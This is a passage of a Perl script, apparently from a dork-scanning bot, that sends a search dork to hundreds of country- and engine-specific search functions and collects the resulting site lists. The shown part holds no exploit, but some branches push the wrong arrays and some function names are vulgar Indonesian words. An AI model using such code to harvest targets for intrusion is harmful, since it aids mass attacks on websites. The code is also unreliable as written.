@jo = &coi($dork,"jo","19",1,10); push(@total,@jo); } if ($engine eq "kz") { my @kz = &coi($dork,"kz","20",1,10); push(@total,@kz); } if ($engine eq "ke") { my @ke = &coi($dork,"ke","21",1,10); push(@total,@ke); } if ($engine eq "ir") { my @ir = &coi($dork,"ir","22",1,10); push(@total,@ir); } if ($engine eq "vn") { my @vn = &coi($dork,"vn","23",1,10); push(@total,@vn); } if ($engine eq "kg") { my @kg = &coi($dork,"kg","24",1,10); push(@total,@kg); } if ($engine eq "lv") { my @lv = &coi($dork,"lv","25",1,10); push(@total,@lv); } if ($engine eq "ls") { my @ls = &coi($dork,"ls","26",1,10); push(@total,@ls); } if ($engine eq "ly") { my @ly = &coi($dork,"ly","27",1,10); push(@total,@ly); } if ($engine eq "li") { my @li = &coi($dork,"li","28",1,10); push(@total,@li); } if ($engine eq "lt") { my @lt = &coi($dork,"lt","29",1,10); push(@total,@lt); } if ($engine eq "lu") { my @lu = &coi($dork,"lu","0",1,10); push(@total,@lu); } if ($engine eq "mw") { my @mw = &coi($dork,"mw","1",1,10); push(@total,@mw); } if ($engine eq "mt") { my @mt = &coi($dork,"mt","2",1,10); push(@total,@mt); } if ($engine eq "mu") { my @mu = &coi($dork,"mu","3",1,10); push(@total,@mu); } if ($engine eq "fm") { my @fm = &coi($dork,"fm","4",1,10); push(@total,@fm); } if ($engine eq "mn") { my @mn = &coi($dork,"mn","5",1,10); push(@total,@mn); } if ($engine eq "ms") { my @ms = &coi($dork,"ms","6",1,10); push(@total,@ms); } if ($engine eq "ma") { my @ma = &coi($dork,"ma","7",1,10); push(@total,@ma); } if ($engine eq "na") { my @na = &coi($dork,"na","8",1,10); push(@total,@na); } if ($engine eq "np") { my @np = &coi($dork,"np","9",1,10); push(@total,@np); } if ($engine eq "nz") { my @nz = &coi($dork,"nz","10",1,10); push(@total,@nz); } if ($engine eq "ni") { my @ni = &coi($dork,"ni","11",1,10); push(@total,@ni); } if ($engine eq "nf") { my @nf = &coi($dork,"nf","12",1,10); push(@total,@nf); } if ($engine eq "no") { my @no = &coi($dork,"no","13",1,10); push(@total,@no); } if ($engine eq "om") { my @om = &coi($dork,"om","14",1,10); push(@total,@om); } if ($engine eq "pk") { my @pk = &coi($dork,"pk","15",1,10); push(@total,@pk); } if ($engine eq "pa") { my @pa = &coi($dork,"pa","16",1,10); push(@total,@pa); } if ($engine eq "py") { my @py = &coi($dork,"py","17",1,10); push(@total,@py); } if ($engine eq "pe") { my @pe = &coi($dork,"pe","18",1,10); push(@total,@pe); } if ($engine eq "pn") { my @pn = &coi($dork,"pn","19",1,10); push(@total,@pn); } if ($engine eq "pt") { my @pt = &coi($dork,"pt","20",1,10); push(@total,@pt); } if ($engine eq "pr") { my @pr = &coi($dork,"pr","21",1,10); push(@total,@pr); } if ($engine eq "qa") { my @qa = &coi($dork,"qa","22",1,10); push(@total,@qa); } if ($engine eq "rw") { my @rw = &coi($dork,"rw","23",1,10); push(@total,@rw); } if ($engine eq "sh") { my @sh = &coi($dork,"sh","24",1,10); push(@total,@sh); } if ($engine eq "sm") { my @sm = &coi($dork,"sm","25",1,10); push(@total,@sm); } if ($engine eq "sa") { my @sa = &coi($dork,"sa","26",1,10); push(@total,@sa); } if ($engine eq "sn") { my @sn = &coi($dork,"sn","27",1,10); push(@total,@sn); } if ($engine eq "sc") { my @sc = &coi($dork,"sc","28",1,10); push(@total,@sc); } if ($engine eq "sg") { my @sg = &coi($dork,"sg","29",1,10); push(@total,@sg); } if ($engine eq "sk") { my @sk = &coi($dork,"sk","0",1,10); push(@total,@sk); } if ($engine eq "za") { my @za = &coi($dork,"za","1",1,10); push(@total,@za); } if ($engine eq "lk") { my @lk = &coi($dork,"lk","2",1,10); push(@total,@lk); } if ($engine eq "vc") { my @vc = &coi($dork,"vc","3",1,10); push(@total,@vc); } if ($engine eq "se") { my @se = &coi($dork,"se","4",1,10); push(@total,@se); } if ($engine eq "ch") { my @ch = &coi($dork,"ch","5",1,10); push(@total,@ch); } if ($engine eq "tw") { my @tw = &coi($dork,"tw","6",1,10); push(@total,@tw); } if ($engine eq "tj") { my @tj = &coi($dork,"tj","7",1,10); push(@total,@tj); } if ($engine eq "bs") { my @bs = &coi($dork,"bs","8",1,10); push(@total,@bs); } if ($engine eq "to") { my @to = &coi($dork,"to","9",1,10); push(@total,@to); } if ($engine eq "tt") { my @tt = &coi($dork,"tt","10",1,10); push(@total,@tt); } if ($engine eq "tr") { my @tr = &coi($dork,"tr","11",1,10); push(@total,@tr); } if ($engine eq "tm") { my @tm = &coi($dork,"tm","12",1,10); push(@total,@tm); } if ($engine eq "vi") { my @vi = &coi($dork,"vi","13",1,10); push(@total,@vi); } if ($engine eq "ug") { my @ug = &coi($dork,"ug","14",1,10); push(@total,@ug); } if ($engine eq "uy") { my @uy = &coi($dork,"uy","15",1,10); push(@total,@uy); } if ($engine eq "uz") { my @uz = &coi($dork,"uz","16",1,10); push(@total,@uz); } if ($engine eq "ve") { my @ve = &coi($dork,"ve","17",1,10); push(@total,@ve); } if ($engine eq "vm") { my @vm = &coi($dork,"vm","18",1,10); push(@total,@vm); } if ($engine eq "zm") { my @zm = &coi($dork,"zm","19",1,10); push(@total,@zm); } if ($engine eq "ws") { my @ws = &coi($dork,"ws","20",1,10); push(@total,@ws); } if ($engine eq "af") { my @af = &coi($dork,"af","21",1,10); push(@total,@af); } if ($engine eq "ax") { my @ax = &coi($dork,"ax","22",1,10); push(@total,@ax); } if ($engine eq "al") { my @al = &coi($dork,"al","23",1,10); push(@total,@al); } if ($engine eq "dz") { my @dz = &coi($dork,"dz","24",1,10); push(@total,@dz); } if ($engine eq "ao") { my @ao = &coi($dork,"ao","25",1,10); push(@total,@ao); } if ($engine eq "aq") { my @aq = &coi($dork,"aq","26",1,10); push(@total,@aq); } if ($engine eq "am") { my @am = &coi($dork,"am","27",1,10); push(@total,@am); } if ($engine eq "aw") { my @aw = &coi($dork,"aw","28",1,10); push(@total,@aw); } if ($engine eq "ac") { my @ac = &coi($dork,"ac","29",1,10); push(@total,@ac); } if ($engine eq "bj") { my @bj = &coi($dork,"bj","0",1,10); push(@total,@bj); } if ($engine eq "bm") { my @bm = &coi($dork,"bm","1",1,10); push(@total,@bm); } if ($engine eq "bt") { my @bt = &coi($dork,"bt","2",1,10); push(@total,@bt); } if ($engine eq "bw") { my @bw = &coi($dork,"bw","3",1,10); push(@total,@bw); } if ($engine eq "io") { my @io = &coi($dork,"io","4",1,10); push(@total,@io); } if ($engine eq "bn") { my @bn = &coi($dork,"bn","5",1,10); push(@total,@bn); } if ($engine eq "bf") { my @bf = &coi($dork,"bf","6",1,10); push(@total,@bf); } if ($engine eq "kh") { my @kh = &coi($dork,"kh","7",1,10); push(@total,@kh); } if ($engine eq "cm") { my @cm = &coi($dork,"cm","8",1,10); push(@total,@cm); } if ($engine eq "cv") { my @cv = &coi($dork,"cv","9",1,10); push(@total,@cv); } if ($engine eq "ky") { my @ky = &coi($dork,"ky","10",1,10); push(@total,@ky); } if ($engine eq "cf") { my @cf = &coi($dork,"cf","11",1,10); push(@total,@cf); } if ($engine eq "cx") { my @cx = &coi($dork,"cx","12",1,10); push(@total,@cx); } if ($engine eq "cw") { my @cw = &coi($dork,"cw","13",1,10); push(@total,@cw); } if ($engine eq "cy") { my @cy = &coi($dork,"cy","14",1,10); push(@total,@cy); } if ($engine eq "fk") { my @fk = &coi($dork,"fk","15",1,10); push(@total,@fk); } if ($engine eq "fo") { my @fo = &coi($dork,"fo","16",1,10); push(@total,@fo); } if ($engine eq "gh") { my @gh = &coi($dork,"gh","17",1,10); push(@total,@gh); } if ($engine eq "gd") { my @gd = &coi($dork,"gd","18",1,10); push(@total,@gd); } if ($engine eq "gp") { my @gp = &coi($dork,"gp","19",1,10); push(@total,@gp); } if ($engine eq "gu") { my @gu = &coi($dork,"gu","20",1,10); push(@total,@gu); } if ($engine eq "gn") { my @gn = &coi($dork,"gn","21",1,10); push(@total,@gn); } if ($engine eq "gy") { my @gy = &coi($dork,"gy","22",1,10); push(@total,@gy); } if ($engine eq "hm") { my @hm = &coi($dork,"hm","23",1,10); push(@total,@hm); } if ($engine eq "iq") { my @iq = &coi($dork,"iq","24",1,10); push(@total,@iq); } if ($engine eq "jm") { my @jm = &coi($dork,"jm","25",1,10); push(@total,@jm); } if ($engine eq "ki") { my @ki = &coi($dork,"ki","26",1,10); push(@total,@ki); } if ($engine eq "kw") { my @kw = &coi($dork,"kw","27",1,10); push(@total,@kw); } if ($engine eq "la") { my @la = &coi($dork,"la","28",1,10); push(@total,@la); } if ($engine eq "lb") { my @lb = &coi($dork,"lb","29",1,10); push(@total,@lb); } if ($engine eq "lr") { my @lr = &coi($dork,"lr","0",1,10); push(@total,@lr); } if ($engine eq "mo") { my @mo = &coi($dork,"mo","1",1,10); push(@total,@mo); } if ($engine eq "mg") { my @mg = &coi($dork,"mg","2",1,10); push(@total,@mg); } if ($engine eq "mv") { my @mv = &coi($dork,"mv","3",1,10); push(@total,@mv); } if ($engine eq "mp") { my @mp = &coi($dork,"mp","4",1,10); push(@total,@mp); } if ($engine eq "mq") { my @mq = &coi($dork,"mq","5",1,10); push(@total,@mq); } if ($engine eq "mr") { my @mr = &coi($dork,"mr","6",1,10); push(@total,@mr); } if ($engine eq "yt") { my @yt = &coi($dork,"yt","7",1,10); push(@total,@yt); } if ($engine eq "md") { my @md = &coi($dork,"md","8",1,10); push(@total,@md); } if ($engine eq "mc") { my @mc = &coi($dork,"mc","9",1,10); push(@total,@mc); } if ($engine eq "me") { my @me = &coi($dork,"me","10",1,7); push(@total,@me); } if ($engine eq "mz") { my @mz = &coi($dork,"mz","11",1,7); push(@total,@mz); } if ($engine eq "nr") { my @nr = &coi($dork,"nr","12",1,7); push(@total,@nr); } if ($engine eq "nc") { my @nc = &coi($dork,"nc","13",1,7); push(@total,@nc); } if ($engine eq "ng") { my @ng = &coi($dork,"ng","14",1,7); push(@total,@ng); } if ($engine eq "nu") { my @nu = &coi($dork,"nu","15",1,7); push(@total,@nu); } if ($engine eq "pw") { my @pw = &coi($dork,"pw","16",1,7); push(@total,@pw); } if ($engine eq "ps") { my @ps = &coi($dork,"ps","17",1,7); push(@total,@ps); } if ($engine eq "cq") { my @cq = &coi($dork,"cq","18",1,7); push(@total,@cq); } if ($engine eq "re") { my @re = &coi($dork,"re","19",1,7); push(@total,@re); } if ($engine eq "lc") { my @lc = &coi($dork,"lc","20",1,7); push(@total,@lc); } if ($engine eq "pm") { my @pm = &coi($dork,"pm","21",1,7); push(@total,@pm); } if ($engine eq "st") { my @st = &coi($dork,"st","22",1,7); push(@total,@st); } if ($engine eq "rs") { my @rs = &coi($dork,"rs","23",1,7); push(@total,@rs); } if ($engine eq "gs") { my @gs = &coi($dork,"gs","24",1,7); push(@total,@gs); } if ($engine eq "sl") { my @sl = &coi($dork,"sl","25",1,7); push(@total,@sl); } if ($engine eq "sx") { my @sx = &coi($dork,"sx","26",1,7); push(@total,@sx); } if ($engine eq "sb") { my @sb = &coi($dork,"sb","27",1,7); push(@total,@sb); } if ($engine eq "so") { my @so = &coi($dork,"so","28",1,7); push(@total,@so); } if ($engine eq "su") { my @su = &coi($dork,"su","29",1,7); push(@total,@su); } if ($engine eq "kn") { my @kn = &coi($dork,"kn","0",1,8); push(@total,@kn); } if ($engine eq "sr") { my @sr = &coi($dork,"sr","1",1,8); push(@total,@sr); } if ($engine eq "tz") { my @tz = &coi($dork,"tz","2",1,8); push(@total,@tz); } if ($engine eq "tl") { my @tl = &coi($dork,"tl","3",1,8); push(@total,@tl); } if ($engine eq "tg") { my @tg = &coi($dork,"tg","4",1,8); push(@total,@tg); } if ($engine eq "tk") { my @tk = &coi($dork,"tk","5",1,8); push(@total,@tk); } if ($engine eq "tn") { my @tn = &coi($dork,"tn","6",1,8); push(@total,@tn); } if ($engine eq "tc") { my @tc = &coi($dork,"tc","7",1,8); push(@total,@tc); } if ($engine eq "vu") { my @vu = &coi($dork,"vu","8",1,8); push(@total,@vu); } if ($engine eq "wf") { my @wf = &coi($dork,"wf","9",1,8); push(@total,@wf); } if ($engine eq "ye") { my @ye = &coi($dork,"ye","10",1,5); push(@total,@ye); } if ($engine eq "zw") { my @zw = &coi($dork,"zw","11",1,5); push(@total,@zw); } if ($engine eq "com") { my @com = &coi($dork,"com","12",1,20); push(@total,@com); } if ($engine eq "net") { my @net = &coi($dork,"net","13",1,20); push(@total,@net); } if ($engine eq "org") { my @org = &coi($dork,"org","14",1,20); push(@total,@org); } if ($engine eq "biz") { my @biz = &coi($dork,"biz","15",1,20); push(@total,@biz); } if ($engine eq "xxx") { my @xxx = &coi($dork,"xxx","16",1,20); push(@total,@xxx); } if ($engine eq "tel") { my @tel = &coi($dork,"tel","17",1,20); push(@total,@tel); } if ($engine eq "mil") { my @mil = &coi($dork,"mil","18",1,20); push(@total,@mil); } if ($engine eq "pro") { my @pro = &coi($dork,"pro","19",1,20); push(@total,@pro); } if ($engine eq "edu") { my @edu = &coi($dork,"edu","20",1,20); push(@total,@edu); } if ($engine eq "gov") { my @gov = &coi($dork,"gov","21",1,20); push(@total,@gov); } if ($engine eq "cat") { my @cat = &coi($dork,"cat","22",1,20); push(@total,@cat); } if ($engine eq "info") { my @info = &coi($dork,"info","23",1,10); push(@total,@info); } if ($engine eq "asia") { my @asia = &coi($dork,"asia","24",1,10); push(@total,@asia); } if ($engine eq "name") { my @name = &coi($dork,"name","25",1,10); push(@total,@name); } if ($engine eq "jobs") { my @jobs = &coi($dork,"jobs","26",1,10); push(@total,@jobs); } if ($engine eq "mobi") { my @mobi = &coi($dork,"mobi","27",1,10); push(@total,@mobi); } if ($engine eq "aero") { my @aero = &coi($dork,"aero","28",1,10); push(@total,@aero); } if ($engine eq "coop") { my @coop = &coi($dork,"coop","29",1,10); push(@total,@coop); } if ($engine eq "travel") { my @travel = &coi($dork,"travel", "0",1,5); push(@total,@travel); } if ($engine eq "WaLLa") { my @walla = &walla($dork,$chan); push(@total,@walla); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); } if ($engine eq "Dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); } if ($engine eq "KonToL") { my @kontol = kontol($dork); push(@total,@kontol); } if ($engine eq "PePek") { my @pepek = pepek($dork); push(@total,@pepek); } if ($engine eq "TeTek") { my @tetek = tetek($dork); push(@total,@tetek); } if ($engine eq "ItiL") { my @itil = itil($dork); push(@total,@itil); } if ($engine eq "NenNen") { my @nennen = nennen($dork); push(@total,@nennen); } if ($engine eq "SuSu") { my @susu = susu($dork); push(@total,@susu); } if ($engine eq "BuahDada") { my @buahdada = buahdada($dork); push(@total,@buahdada); } if ($engine eq "PayuDara") { my @payudara = payudara($dork); push(@total,@payudara); } if ($engine eq "Kentot") { my @kentot = kentot($dork); push(@total,@kentot); } if ($engine eq "eMeL") { my @emel = emel($dork); push(@total,@emel); } if ($engine eq "OraL") { my @oral = oral($dork); push(@total,@oral); } if ($engine eq "Klitoris") { my @klitoris = klitoris($dork); push(@total,@klitoris); } if ($engine eq "Masturbasi") { my @masturbasi = masturbasi($dork); push(@total,@masturbasi); } if ($engine eq "Onani") { my @onani = onani($dork); push(@total,@onani); } if ($engine eq "Sperma") { my @sperma = sperma($dork); push(@total,@sperma); } if ($engine eq "AnaL") { my @anal = anal($dork); push(@total,@anal); } if ($engine eq "Puting") { my @puting = puting($dork); push(@total,@puting); } if ($engine eq "Vagina") { my @vagina = vagina($dork); push(@total,@vagina); } if ($engine eq "Penis") { my @penis = penis($dork); push(@total,@penis); } if ($engine eq "MeMek") { my @memek = memek($dork); push(@total,@memek); } # if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "GooGLeAE") { my @googleAE = googleAE($dork); push(@total,@googleAE); } if ($engine eq "GooGLeCZ") { my @googleCZ = googleCZ($dork); push(@total,@googleCZ); } if ($engine eq "GooGLeHU") { my @googleHU = googleHU($dork); push(@total,@googleHU); } if ($engine eq "GooGLeID") { my @googleID = googleID($dork); push(@total,@googleID); } if ($engine eq "GooGLePH") { my @googlePH = googlePH($dork); push(@total,@googlePH); } if ($engine eq "GooGLeSI") { my @googleSI = googleSI($dork); push(@total,@googleSI); } if ($engine eq "GooGLeVN") { my @googleVN = googleVN($dork); push(@total,@googleVN); } if ($engine eq "GooGLeRS") { my @googleRS = googleRS($dork); push(@total,@googleRS); } if ($engine eq "GooGLeSG") { my @googleSG = googleSG($dork); push(@total,@googleSG); } if ($engine eq "GooGLePK") { my @googlePK = googlePK($dork); push(@total,@googlePK); } if ($engine eq "GooGLeME") { my @googleME = googleME($dork); push(@total,@googleME); } if ($engine eq "GooGLeKZ") { my @googleKZ = googleKZ($dork); push(@total,@googleKZ); } if ($engine eq "GooGLeAF") { my @googleAF = googleAF($dork); push(@total,@googleAF); } if ($engine eq "GooGLeAL") { my @googleAL = googleAL($dork); push(@total,@googleAL); } if ($engine eq "GooGLeDZ") { my @googleDZ = googleDZ($dork); push(@total,@googleDZ); } if ($engine eq "GooGLeAO") { my @googleAO = googleAO($dork); push(@total,@googleAO); } if ($engine eq "GooGLeAM") { my @googleAM = googleAM($dork); push(@total,@googleAM); } if ($engine eq "GooGLeAZ") { my @googleAZ = googleAZ($dork); push(@total,@googleAZ); } if ($engine eq "GooGLeBH") { my @googleBH = googleBH($dork); push(@total,@googleBH); } if ($engine eq "GooGLeBD") { my @googleBD = googleBD($dork); push(@total,@googleBD); } if ($engine eq "GooGLeBY") { my @googleBY = googleBY($dork); push(@total,@googleBY); } if ($engine eq "GooGLeBT") { my @googleBT = googleBT($dork); push(@total,@googleBT); } if ($engine eq "GooGLeBO") { my @googleBO = googleBO($dork); push(@total,@googleBO); } if ($engine eq "GooGLeBA") { my @googleBA = googleBA($dork); push(@total,@googleBA); } if ($engine eq "GooGLeBG") { my @googleBG = googleBG($dork); push(@total,@googleBG); } if ($engine eq "GooGLeBN") { my @googleBN = googleBN($dork); push(@total,@googleBN); } if ($engine eq "GooGLeKH") { my @googleKH = googleKH($dork); push(@total,@googleKH); } if ($engine eq "GooGLeCM") { my @googleCM = googleCM($dork); push(@total,@googleCM); } if ($engine eq "GooGLeCR") { my @googleCR = googleCR($dork); push(@total,@googleCR); } if ($engine eq "GooGLeHR") { my @googleHR = googleHR($dork); push(@total,@googleHR); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCY") { my @googleCY = googleCY($dork); push(@total,@googleCY); } if ($engine eq "GooGLeDM") { my @googleDM = googleDM($dork); push(@total,@googleDM); } if ($engine eq "GooGLeEC") { my @googleEC = googleEC($dork); push(@total,@googleEC); } if ($engine eq "GooGLeEG") { my @googleEG = googleEG($dork); push(@total,@googleEG); } if ($engine eq "GooGLeEE") { my @googleEE = googleEE($dork); push(@total,@googleEE); } if ($engine eq "GooGLeFI") { my @googleFI = googleFI($dork); push(@total,@googleFI); } if ($engine eq "GooGLeGE") { my @googleGE = googleGE($dork); push(@total,@googleGE); } if ($engine eq "GooGLeGH") { my @googleGH = googleGH($dork); push(@total,@googleGH); } if ($engine eq "GooGLeHN") { my @googleHN = googleHN($dork); push(@total,@googleHN); } if ($engine eq "GooGLeHK") { my @googleHK = googleHK($dork); push(@total,@googleHK); } if ($engine eq "GooGLeIS") { my @googleIS = googleIS($dork); push(@total,@googleIS); } if ($engine eq "GooGLeKE") { my @googleKE = googleKE($dork); push(@total,@googleKE); } if ($engine eq "GooGLeKW") { my @googleKW = googleKW($dork); push(@total,@googleKW); } if ($engine eq "GooGLeLA") { my @googleLA = googleLA($dork); push(@total,@googleLA); } if ($engine eq "GooGLeLV") { my @googleLV = googleLV($dork); push(@total,@googleLV); } if ($engine eq "GooGLeLT") { my @googleLT = googleLT($dork); push(@total,@googleLT); } if ($engine eq "GooGLeLY") { my @googleLY = googleLY($dork); push(@total,@googleLY); } if ($engine eq "GooGLeMK") { my @googleMK = googleMK($dork); push(@total,@googleMK); } if ($engine eq "GooGLeMT") { my @googleMT = googleMT($dork); push(@total,@googleMT); } if ($engine eq "GooGLeMZ") { my @googleMZ = googleMZ($dork); push(@total,@googleMZ); } if ($engine eq "GooGLeNA") { my @googleNA = googleNA($dork); push(@total,@googleNA); } if ($engine eq "GooGLeNR") { my @googleNR = googleNR($dork); push(@total,@googleNR); } if ($engine eq "GooGLeNP") { my @googleNP = googleNP($dork); push(@total,@googleNP); } if ($engine eq "GooGLeNG") { my @googleNG = googleNG($dork); push(@total,@googleNG); } if ($engine eq "GooGLePY") { my @googlePY = googlePY($dork); push(@total,@googlePY); } if ($engine eq "GooGLePE") { my @googlePE = googlePE($dork); push(@total,@googlePE); } if ($engine eq "GooGLePR") { my @googlePR = googlePR($dork); push(@total,@googlePR); } if ($engine eq "GooGLeQA") { my @googleQA = googleQA($dork); push(@total,@googleQA); } if ($engine eq "GooGLeSA") { my @googleSA = googleSA($dork); push(@total,@googleSA); } if ($engine eq "GooGLeSN") { my @googleSN = googleSN($dork); push(@total,@googleSN); } if ($engine eq "GooGLeSK") { my @googleSK = googleSK($dork); push(@total,@googleSK); } if ($engine eq "GooGLeLK") { my @googleLK = googleLK($dork); push(@total,@googleLK); } if ($engine eq "GooGLeTJ") { my @googleTJ = googleTJ($dork); push(@total,@googleTJ); } if ($engine eq "GooGLeTZ") { my @googleTZ = googleTZ($dork); push(@total,@googleTZ); } if ($engine eq "GooGLeTK") { my @googleTK = googleTK($dork); push(@total,@googleTK); } if ($engine eq "GooGLeTO") { my @googleTO = googleTO($dork); push(@total,@googleTO); } if ($engine eq "GooGLeTN") { my @googleTN = googleTN($dork); push(@total,@googleTN); } if ($engine eq "GooGLeUY") { my @googleUY = googleUY($dork); push(@total,@googleUY); } if ($engine eq "GooGLeUZ") { my @googleUZ = googleUZ($dork); push(@total,@googleUZ); } if ($engine eq "GooGLeVE") { my @googleVE = googleVE($dork); push(@total,@googleVE); } if ($engine eq "GooGLeZM") { my @googleZM = googleZM($dork); push(@total,@googleZM); } if ($engine eq "GooGLeUG") { my @googleUG = googleUG($dork); push(@total,@googleUG); } if ($engine eq "GooGLeTT") { my @googleTT = googleTT($dork); push(@total,@googleTT); } if ($engine eq "GooGLeZW") { my @googleZW = googleZW($dork); push(@total,@googleZW); } if ($engine eq "GooGLeMM") { my @googleMM = googleDE($dork); push(@total,@googleMM); } if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeORG") { my @googleORG = googleORG($dork." site:org"); push(@total,@googleBR); } if ($engine eq "GooGLeASIA") { my @googleASIA = googleASIA($dork." site:asia"); push(@total,@googleORG); } if ($engine eq "GooGLeGOV") { my @googleGOV = googleGOV($dork." site:gov"); push(@total,@googleASIA); } if ($engine eq "GooGLeNET") { my @googleNET = googleNET($dork." site:net"); push(@total,@googleGOV); } if ($engine eq "GooGLeXXX") { my @googleXXX = googleXXX($dork." site:xxx"); push(@total,@googleNET); } if ($engine eq "GooGLeWS") { my @googleWS = googleWS($dork." site:ws"); push(@total,@googleWS); } #if ($engine eq "dorklist") { my @dorklist = dorklist($dork." site:br"); push(@total,@dorklist); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); } if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); } if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); } if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); } if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); } if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); } if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); } if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); } if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); } if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); } if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); } if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); } if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); } if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); } if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); } if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); } if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); } if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); } if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); } if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); } if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); } if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); } if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); } if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); } if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); } if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); } if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); } if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); } if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); } if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); } if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); } if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); } if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); } if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); } if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); } if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); } if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); } if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); } if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); } if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); } if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); } if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); } if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); } if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); } if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); } if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); } if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); } if 